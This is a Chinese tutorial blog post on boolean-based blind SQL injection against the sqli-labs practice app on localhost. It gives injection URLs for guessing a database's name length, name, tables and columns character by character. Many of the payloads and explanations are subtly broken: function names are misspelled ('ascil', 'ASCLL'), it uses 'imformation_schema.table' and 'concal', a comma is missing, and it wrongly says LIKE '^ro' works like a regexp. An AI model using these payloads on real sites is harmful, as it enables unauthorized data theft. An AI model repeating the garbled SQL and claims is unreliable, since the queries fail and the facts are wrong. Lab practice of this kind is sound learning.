基于布尔的盲注

由于数据库只返回对与错,所以根据这种情况,我们产生了布尔注入,根据所返回的信息来获取我们想要的信息。

💫适用场景:

没有数据回显,条件正确有结果,条件错误没有结果。

💫利用方式:

构造判断条件,逐个猜测。(盲猜)

⭐截取字段:

select MID(‘abcdef’,2,2);select substr(‘abcdefghijk’,5,5);select left(‘abcdefgh’,5);获取最左边的5个数

⭐转成ascil码:

select ord(‘a’);select ASCLL(‘a’);两个语句的效果一样

⭐正则

select user() regexp ‘^ro’
select user() like ‘^ro’
两个语句都是从user表中搜索ro开头的数据

⭐SQL布尔盲注的流程
1.获取数据库名字的长度

例:http://localhost/sqllabs/libs5/?id=1’ and length(database ())=5 --+

猜字段长度为5。一般使用二分法进行猜测,数值前的=可以替换成>或者<。如果出现和前面猜错的返回类型不一致,则证明这个长度为数据库名字的长度。

2.获取数据库名字

例1:
http://localhost/sqllabs/libs5/?id=1’ and left(database (),1)=‘a’ --+
截取左边第一个字母的值,这里用的是=,还可以用>或者<号。

例2:
http://localhost/sqllabs/libs5/?id=1’ and ascli(length(database (),1)) =113 --+
转化为ascil码进行判断,更加便捷。更改length (database (),2)中数值,可以得到这个数据的名字。

3.获取表名

例:http://localhost/sql-libs/less-5/?id=1’ and ascil(substr((select table_name from imformation_schema.table where table_schema=database() limit 0,1)1,1))=113 --+

说明:
①substr作用是是截取表名的第一位,确认这个表名的第一位的ascil的值是否为113
②limit 0,1 中,前面数值的值代表第几张表,后面代表第几个字母。所以这里0代表第一张表,1代表第一个字母。所以这里代表查询第1张表的第一个字母。
③limit0,1)1,1)这两个数字,前面的数值代表表名的第几位的值。
④一位一位地猜,一位一位地改,就可以把表名给猜出来

4.获取数据库的列名

例:http://localhost/sql-libs/less-5/?id=1’ and ascil(substr((select table_name from imformation_schema.table where table_schema=database() limit 0,1)1,1))=113 --+
这里把获取表名的语句做出修改即可:
①把schema.table的table修改成concal即可
②把table_name改成concal_name,指定表名,修改limit的数据,即可获得数据库的列名。

5.通过以上方法,获得数据库的库名表名列名后,再通过SQL语句,对列名中的数据进行一一猜测查询,最终活动数据库里面的数据,这就是我们的布尔盲注。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值